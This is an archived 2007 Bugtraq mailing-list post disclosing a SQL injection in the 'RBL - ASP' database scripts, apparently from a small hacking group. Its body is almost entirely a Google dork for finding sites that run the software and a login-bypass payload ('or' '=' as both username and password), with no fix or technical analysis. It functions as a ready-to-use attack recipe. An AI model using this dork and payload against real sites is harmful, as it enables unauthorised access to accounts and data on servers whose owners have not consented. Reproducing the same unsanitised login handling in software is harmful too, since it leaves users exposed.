| To: | bugtraq@securityfocus.com |
|---|---|
| Subject: | RBL - ASP (scripts with db) SQL injection |
| From: | sn0oPy.team@gmail.com |
| Date: | 27 Jan 2007 23:44:45 -0000 |
| Delivered-to: | sp-com-lists@consult.net |
| Delivered-to: | bugtraq-list@securepoint.com |
| Delivered-to: | mailing list bugtraq@securityfocus.com |
| Delivered-to: | moderator for bugtraq@securityfocus.com |
| List-help: | <mailto:bugtraq-help@securityfocus.com> |
| List-id: | <bugtraq.list-id.securityfocus.com> |
| List-post: | <mailto:bugtraq@securityfocus.com> |
| List-subscribe: | <mailto:bugtraq-subscribe@securityfocus.com> |
| List-unsubscribe: | <mailto:bugtraq-unsubscribe@securityfocus.com> |
| Mailing-list: | contact bugtraq-help@securityfocus.com; run by ezmlm |
* RBL - ASP (scripts with db) SQL injection * By : sn0oPy * Risk : high * Site : http://www.aspside.com * Dork : intitle:"RBL - ASP" * exploit : user = 'or' '=' pass = 'or' '=' * contact : sn0oPy@avenir-geopolitique.net * greetz : [subzero], Avg Team(http://forums.avenir-geopolitique.net). reference = http://forums.avenir-geopolitique.net/viewtopic.php?t=2607 |
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | VII National Computer and Information Security Conference ACIS 2007 - COLOMBIA, Jeimy Cano |
|---|---|
| Next by Date: | Oracle - Indirect Privilege Escalation and Defeating Virtual Private Databases, David Litchfield |
| Previous by Thread: | VII National Computer and Information Security Conference ACIS 2007 - COLOMBIA, Jeimy Cano |
| Next by Thread: | Oracle - Indirect Privilege Escalation and Defeating Virtual Private Databases, David Litchfield |
| Indexes: | [Date] [Thread] [Top] [All Lists] |